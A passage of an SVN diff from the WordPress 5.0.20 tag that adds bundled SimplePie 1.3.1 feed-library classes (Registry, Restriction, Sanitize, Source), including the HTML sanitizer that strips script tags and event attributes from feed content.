+	public function &create($type, $parameters = array())
+	{
+		$class = $this->get_class($type);
+
+		if (in_array($class, $this->legacy))
+		{
+			switch ($type)
+			{
+				case 'locator':
+					// Legacy: file, timeout, useragent, file_class, max_checked_feeds, content_type_sniffer_class
+					// Specified: file, timeout, useragent, max_checked_feeds
+					$replacement = array($this->get_class('file'), $parameters[3], $this->get_class('content_type_sniffer'));
+					array_splice($parameters, 3, 1, $replacement);
+					break;
+			}
+		}
+
+		if (!method_exists($class, '__construct'))
+		{
+			$instance = new $class;
+		}
+		else
+		{
+			$reflector = new ReflectionClass($class);
+			$instance = $reflector->newInstanceArgs($parameters);
+		}
+
+		if (method_exists($instance, 'set_registry'))
+		{
+			$instance->set_registry($this);
+		}
+		return $instance;
+	}
+
+	/**
+	 * Call a static method for a type
+	 *
+	 * @param string $type
+	 * @param string $method
+	 * @param array $parameters
+	 * @return mixed
+	 */
+	public function &call($type, $method, $parameters = array())
+	{
+		$class = $this->get_class($type);
+
+		if (in_array($class, $this->legacy))
+		{
+			switch ($type)
+			{
+				case 'Cache':
+					// For backwards compatibility with old non-static
+					// Cache::create() methods
+					if ($method === 'get_handler')
+					{
+						$result = @call_user_func_array(array($class, 'create'), $parameters);
+						return $result;
+					}
+					break;
+			}
+		}
+
+		$result = call_user_func_array(array($class, $method), $parameters);
+		return $result;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Restriction.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Restriction.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Restriction.php	(revision 56912)
@@ -0,0 +1,155 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles `<media:restriction>` as defined in Media RSS
+ *
+ * Used by {@see SimplePie_Enclosure::get_restriction()} and {@see SimplePie_Enclosure::get_restrictions()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_restriction_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Restriction
+{
+	/**
+	 * Relationship ('allow'/'deny')
+	 *
+	 * @var string
+	 * @see get_relationship()
+	 */
+	var $relationship;
+
+	/**
+	 * Type of restriction
+	 *
+	 * @var string
+	 * @see get_type()
+	 */
+	var $type;
+
+	/**
+	 * Restricted values
+	 *
+	 * @var string
+	 * @see get_value()
+	 */
+	var $value;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 */
+	public function __construct($relationship = null, $type = null, $value = null)
+	{
+		$this->relationship = $relationship;
+		$this->type = $type;
+		$this->value = $value;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the relationship
+	 *
+	 * @return string|null Either 'allow' or 'deny'
+	 */
+	public function get_relationship()
+	{
+		if ($this->relationship !== null)
+		{
+			return $this->relationship;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the type
+	 *
+	 * @return string|null
+	 */
+	public function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the list of restricted things
+	 *
+	 * @return string|null
+	 */
+	public function get_value()
+	{
+		if ($this->value !== null)
+		{
+			return $this->value;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Sanitize.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Sanitize.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Sanitize.php	(revision 56912)
@@ -0,0 +1,554 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Used for data cleanup and post-processing
+ *
+ *
+ * This class can be overloaded with {@see SimplePie::set_sanitize_class()}
+ *
+ * @package SimplePie
+ * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
+ */
+class SimplePie_Sanitize
+{
+	// Private vars
+	var $base;
+
+	// Options
+	var $remove_div = true;
+	var $image_handler = '';
+	var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style');
+	var $encode_instead_of_strip = false;
+	var $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc');
+	var $strip_comments = false;
+	var $output_encoding = 'UTF-8';
+	var $enable_cache = true;
+	var $cache_location = './cache';
+	var $cache_name_function = 'md5';
+	var $timeout = 10;
+	var $useragent = '';
+	var $force_fsockopen = false;
+	var $replace_url_attributes = null;
+
+	public function __construct()
+	{
+		// Set defaults
+		$this->set_url_replacements(null);
+	}
+
+	public function remove_div($enable = true)
+	{
+		$this->remove_div = (bool) $enable;
+	}
+
+	public function set_image_handler($page = false)
+	{
+		if ($page)
+		{
+			$this->image_handler = (string) $page;
+		}
+		else
+		{
+			$this->image_handler = false;
+		}
+	}
+
+	public function set_registry(SimplePie_Registry $registry)
+	{
+		$this->registry = $registry;
+	}
+
+	public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie_Cache')
+	{
+		if (isset($enable_cache))
+		{
+			$this->enable_cache = (bool) $enable_cache;
+		}
+
+		if ($cache_location)
+		{
+			$this->cache_location = (string) $cache_location;
+		}
+
+		if ($cache_name_function)
+		{
+			$this->cache_name_function = (string) $cache_name_function;
+		}
+	}
+
+	public function pass_file_data($file_class = 'SimplePie_File', $timeout = 10, $useragent = '', $force_fsockopen = false)
+	{
+		if ($timeout)
+		{
+			$this->timeout = (string) $timeout;
+		}
+
+		if ($useragent)
+		{
+			$this->useragent = (string) $useragent;
+		}
+
+		if ($force_fsockopen)
+		{
+			$this->force_fsockopen = (string) $force_fsockopen;
+		}
+	}
+
+	public function strip_htmltags($tags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'))
+	{
+		if ($tags)
+		{
+			if (is_array($tags))
+			{
+				$this->strip_htmltags = $tags;
+			}
+			else
+			{
+				$this->strip_htmltags = explode(',', $tags);
+			}
+		}
+		else
+		{
+			$this->strip_htmltags = false;
+		}
+	}
+
+	public function encode_instead_of_strip($encode = false)
+	{
+		$this->encode_instead_of_strip = (bool) $encode;
+	}
+
+	public function strip_attributes($attribs = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'))
+	{
+		if ($attribs)
+		{
+			if (is_array($attribs))
+			{
+				$this->strip_attributes = $attribs;
+			}
+			else
+			{
+				$this->strip_attributes = explode(',', $attribs);
+			}
+		}
+		else
+		{
+			$this->strip_attributes = false;
+		}
+	}
+
+	public function strip_comments($strip = false)
+	{
+		$this->strip_comments = (bool) $strip;
+	}
+
+	public function set_output_encoding($encoding = 'UTF-8')
+	{
+		$this->output_encoding = (string) $encoding;
+	}
+
+	/**
+	 * Set element/attribute key/value pairs of HTML attributes
+	 * containing URLs that need to be resolved relative to the feed
+	 *
+	 * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
+	 * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
+	 * |q|@cite
+	 *
+	 * @since 1.0
+	 * @param array|null $element_attribute Element/attribute key/value pairs, null for default
+	 */
+	public function set_url_replacements($element_attribute = null)
+	{
+		if ($element_attribute === null)
+		{
+			$element_attribute = array(
+				'a' => 'href',
+				'area' => 'href',
+				'blockquote' => 'cite',
+				'del' => 'cite',
+				'form' => 'action',
+				'img' => array(
+					'longdesc',
+					'src'
+				),
+				'input' => 'src',
+				'ins' => 'cite',
+				'q' => 'cite'
+			);
+		}
+		$this->replace_url_attributes = (array) $element_attribute;
+	}
+
+	public function sanitize($data, $type, $base = '')
+	{
+		$data = trim($data);
+		if ($data !== '' || $type & SIMPLEPIE_CONSTRUCT_IRI)
+		{
+			if ($type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML)
+			{
+				if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data))
+				{
+					$type |= SIMPLEPIE_CONSTRUCT_HTML;
+				}
+				else
+				{
+					$type |= SIMPLEPIE_CONSTRUCT_TEXT;
+				}
+			}
+
+			if ($type & SIMPLEPIE_CONSTRUCT_BASE64)
+			{
+				$data = base64_decode($data);
+			}
+
+			if ($type & (SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML))
+			{
+
+				if (!class_exists('DOMDocument'))
+				{
+					$this->registry->call('Misc', 'error', array('DOMDocument not found, unable to use sanitizer', E_USER_WARNING, __FILE__, __LINE__));
+					return '';
+				}
+				$document = new DOMDocument();
+				$document->encoding = 'UTF-8';
+				$data = $this->preprocess($data, $type);
+
+				set_error_handler(array('SimplePie_Misc', 'silence_errors'));
+				$document->loadHTML($data);
+				restore_error_handler();
+
+				// Strip comments
+				if ($this->strip_comments)
+				{
+					$xpath = new DOMXPath($document);
+					$comments = $xpath->query('//comment()');
+
+					foreach ($comments as $comment)
+					{
+						$comment->parentNode->removeChild($comment);
+					}
+				}
+
+				// Strip out HTML tags and attributes that might cause various security problems.
+				// Based on recommendations by Mark Pilgrim at:
+				// http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely
+				if ($this->strip_htmltags)
+				{
+					foreach ($this->strip_htmltags as $tag)
+					{
+						$this->strip_tag($tag, $document, $type);
+					}
+				}
+
+				if ($this->strip_attributes)
+				{
+					foreach ($this->strip_attributes as $attrib)
+					{
+						$this->strip_attr($attrib, $document);
+					}
+				}
+
+				// Replace relative URLs
+				$this->base = $base;
+				foreach ($this->replace_url_attributes as $element => $attributes)
+				{
+					$this->replace_urls($document, $element, $attributes);
+				}
+
+				// If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
+				if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache)
+				{
+					$images = $document->getElementsByTagName('img');
+					foreach ($images as $img)
+					{
+						if ($img->hasAttribute('src'))
+						{
+							$image_url = call_user_func($this->cache_name_function, $img->getAttribute('src'));
+							$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, $image_url, 'spi'));
+
+							if ($cache->load())
+							{
+								$img->setAttribute('src', $this->image_handler . $image_url);
+							}
+							else
+							{
+								$file = $this->registry->create('File', array($img->getAttribute('src'), $this->timeout, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen));
+								$headers = $file->headers;
+
+								if ($file->success && ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300)))
+								{
+									if ($cache->save(array('headers' => $file->headers, 'body' => $file->body)))
+									{
+										$img->setAttribute('src', $this->image_handler . $image_url);
+									}
+									else
+									{
+										trigger_error("$this->cache_location is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
+									}
+								}
+							}
+						}
+					}
+				}
+
+				// Remove the DOCTYPE
+				// Seems to cause segfaulting if we don't do this
+				if ($document->firstChild instanceof DOMDocumentType)
+				{
+					$document->removeChild($document->firstChild);
+				}
+
+				// Move everything from the body to the root
+				$real_body = $document->getElementsByTagName('body')->item(0)->childNodes->item(0);
+				$document->replaceChild($real_body, $document->firstChild);
+
+				// Finally, convert to a HTML string
+				$data = trim($document->saveHTML());
+
+				if ($this->remove_div)
+				{
+					$data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '', $data);
+					$data = preg_replace('/<\/div>$/', '', $data);
+				}
+				else
+				{
+					$data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
+				}
+			}
+
+			if ($type & SIMPLEPIE_CONSTRUCT_IRI)
+			{
+				$absolute = $this->registry->call('Misc', 'absolutize_url', array($data, $base));
+				if ($absolute !== false)
+				{
+					$data = $absolute;
+				}
+			}
+
+			if ($type & (SIMPLEPIE_CONSTRUCT_TEXT | SIMPLEPIE_CONSTRUCT_IRI))
+			{
+				$data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
+			}
+
+			if ($this->output_encoding !== 'UTF-8')
+			{
+				$data = $this->registry->call('Misc', 'change_encoding', array($data, 'UTF-8', $this->output_encoding));
+			}
+		}
+		return $data;
+	}
+
+	protected function preprocess($html, $type)
+	{
+		$ret = '';
+		if ($type & ~SIMPLEPIE_CONSTRUCT_XHTML)
+		{
+			// Atom XHTML constructs are wrapped with a div by default
+			// Note: No protection if $html contains a stray </div>!
+			$html = '<div>' . $html . '</div>';
+			$ret .= '<!DOCTYPE html>';
+			$content_type = 'text/html';
+		}
+		else
+		{
+			$ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
+			$content_type = 'application/xhtml+xml';
+		}
+
+		$ret .= '<html><head>';
+		$ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />';
+		$ret .= '</head><body>' . $html . '</body></html>';
+		return $ret;
+	}
+
+	public function replace_urls($document, $tag, $attributes)
+	{
+		if (!is_array($attributes))
+		{
+			$attributes = array($attributes);
+		}
+
+		if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags))
+		{
+			$elements = $document->getElementsByTagName($tag);
+			foreach ($elements as $element)
+			{
+				foreach ($attributes as $attribute)
+				{
+					if ($element->hasAttribute($attribute))
+					{
+						$value = $this->registry->call('Misc', 'absolutize_url', array($element->getAttribute($attribute), $this->base));
+						if ($value !== false)
+						{
+							$element->setAttribute($attribute, $value);
+						}
+					}
+				}
+			}
+		}
+	}
+
+	public function do_strip_htmltags($match)
+	{
+		if ($this->encode_instead_of_strip)
+		{
+			if (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style')))
+			{
+				$match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
+				$match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
+				return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;";
+			}
+			else
+			{
+				return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
+			}
+		}
+		elseif (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style')))
+		{
+			return $match[4];
+		}
+		else
+		{
+			return '';
+		}
+	}
+
+	protected function strip_tag($tag, $document, $type)
+	{
+		$xpath = new DOMXPath($document);
+		$elements = $xpath->query('body//' . $tag);
+		if ($this->encode_instead_of_strip)
+		{
+			foreach ($elements as $element)
+			{
+				$fragment = $document->createDocumentFragment();
+
+				// For elements which aren't script or style, include the tag itself
+				if (!in_array($tag, array('script', 'style')))
+				{
+					$text = '<' . $tag;
+					if ($element->hasAttributes())
+					{
+						$attrs = array();
+						foreach ($element->attributes as $name => $attr)
+						{
+							$value = $attr->value;
+
+							// In XHTML, empty values should never exist, so we repeat the value
+							if (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_XHTML))
+							{
+								$value = $name;
+							}
+							// For HTML, empty is fine
+							elseif (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_HTML))
+							{
+								$attrs[] = $name;
+								continue;
+							}
+
+							// Standard attribute text
+							$attrs[] = $name . '="' . $attr->value . '"';
+						}
+						$text .= ' ' . implode(' ', $attrs);
+					}
+					$text .= '>';
+					$fragment->appendChild(new DOMText($text));
+				}
+
+				$number = $element->childNodes->length;
+				for ($i = $number; $i > 0; $i--)
+				{
+					$child = $element->childNodes->item(0);
+					$fragment->appendChild($child);
+				}
+
+				if (!in_array($tag, array('script', 'style')))
+				{
+					$fragment->appendChild(new DOMText('</' . $tag . '>'));
+				}
+
+				$element->parentNode->replaceChild($fragment, $element);
+			}
+
+			return;
+		}
+		elseif (in_array($tag, array('script', 'style')))
+		{
+			foreach ($elements as $element)
+			{
+				$element->parentNode->removeChild($element);
+			}
+
+			return;
+		}
+		else
+		{
+			foreach ($elements as $element)
+			{
+				$fragment = $document->createDocumentFragment();
+				$number = $element->childNodes->length;
+				for ($i = $number; $i > 0; $i--)
+				{
+					$child = $element->childNodes->item(0);
+					$fragment->appendChild($child);
+				}
+
+				$element->parentNode->replaceChild($fragment, $element);
+			}
+		}
+	}
+
+	protected function strip_attr($attrib, $document)
+	{
+		$xpath = new DOMXPath($document);
+		$elements = $xpath->query('//*[@' . $attrib . ']');
+
+		foreach ($elements as $element)
+		{
+			$element->removeAttribute($attrib);
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Source.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Source.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Source.php	(revision 56912)
@@ -0,0 +1,611 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles `<atom:source>`
+ *
+ * Used by {@see SimplePie_Item::get_source()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_source_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Source
+{
+	var $item;
+	var $data = array();
+	protected $registry;
+
+	public function __construct($item, $data)
+	{
+		$this->item = $item;
+		$this->data = $data;
+	}
+
+	public function set_registry(SimplePie_Registry $registry)
+	{
+		$this->registry = $registry;
+	}
+
+	public function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+
+	public function get_source_tags($namespace, $tag)
+	{
+		if (isset($this->data['child'][$namespace][$tag]))
+		{
+			return $this->data['child'][$namespace][$tag];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_base($element = array())
+	{
+		return $this->item->get_base($element);
+	}
+
+	public function sanitize($data, $type, $base = '')
+	{
+		return $this->item->sanitize($data, $type, $base);
+	}
+
+	public function get_item()
+	{
+		return $this->item;
+	}
+
+	public function get_title()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category)
+		{
+			// This is really the label, but keep this as the term also for BC.
+			// Label will also work on retrieving because that falls back to term.
+			$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			if (isset($category['attribs']['']['domain']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			else
+			{
+				$scheme = null;
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, null));
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($categories))
+		{
+			return array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
